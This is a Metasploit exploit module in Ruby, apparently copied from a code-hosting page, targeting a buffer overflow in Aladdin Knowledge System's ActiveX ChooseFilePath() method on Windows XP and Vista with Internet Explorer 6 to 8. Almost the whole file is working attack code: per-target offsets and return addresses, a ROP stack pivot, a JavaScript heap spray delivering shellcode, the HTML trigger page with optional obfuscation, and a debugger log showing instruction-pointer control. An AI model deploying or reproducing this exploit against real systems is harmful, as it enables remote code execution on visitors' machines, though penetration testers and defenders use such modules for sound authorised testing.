205 lines
6.5 KiB
Ruby
205 lines
6.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info={})
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super(update_info(info,
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'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Aladdin Knowledge System's
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ActiveX component. By supplying a long string of data to the ChooseFilePath()
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function, a buffer overflow occurs, which may result in remote code execution
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under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'shinnai', #Vulnerability Discovery
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'b33f', #Original exploit
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'sinn3r', #Metasploit
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'juan vazquez' #Metasploit, IE8 target
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],
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'References' =>
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[
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[ 'OSVDB', '86723' ],
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[ 'EDB', '22258' ],
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[ 'EDB', '22301' ]
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
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:method => "ChooseFilePath",
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:os_name => /win/i
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},
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'Windows XP with IE 6',
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{
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'os_flavor' => 'XP',
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'ua_name' => 'MSIE',
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'ua_ver' => '6.0',
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'Rop' => false,
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'Offset' => '0x5F4',
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'Ret' => 0x0c0c0c0c
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}
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],
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[
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'Windows XP with IE 7',
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{
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'os_flavor' => 'XP',
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'ua_name' => 'MSIE',
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'ua_ver' => '7.0',
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'Rop' => false,
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'Offset' => '0x5F4',
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'Ret' => 0x0c0c0c0c
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}
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],
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[
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'Windows XP with IE 8',
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{
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'os_flavor' => 'XP',
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'ua_name' => 'MSIE',
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'ua_ver' => '8.0',
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'Rop' => true,
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'Offset' => '0x5f6',
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'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
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}
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],
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[
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'Windows Vista with IE 7',
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{
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'os_flavor' => 'Vista',
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'ua_name' => 'MSIE',
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'ua_ver' => '7.0',
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'Rop' => false,
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'Offset' => '0x5F4',
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'Ret' => 0x0c0c0c0c
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 1 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class
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)
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end
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def ie_heap_spray(p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
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# Land the payload at 0x0c0c0c0c
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{get_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def exploit_template(cli, target_info)
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if get_target['Rop']
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p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
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else
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p = get_payload(cli, target_info)
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end
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spray = ie_heap_spray(p)
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target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
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html_template = %Q|
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<html>
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<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
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<script>
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<%=spray%>
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junk='';
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for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
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pwnd.ChooseFilePath(junk + "<%=target_ret%>");
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</script>
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</html>
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return html_template, binding()
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end
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def on_request_exploit(cli, request, target_info)
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print_status("Sending HTML...")
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send_exploit_html(cli, exploit_template(cli, target_info))
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end
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end
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=begin
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0:008> g
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(82c.12dc): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
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eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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OLEAUT32!SysReAllocStringLen+0x31:
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7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
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0:008> g
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(82c.12dc): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
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eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
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0c0c0c0c ?? ???
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0:008> db 020bf798
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020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
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=end
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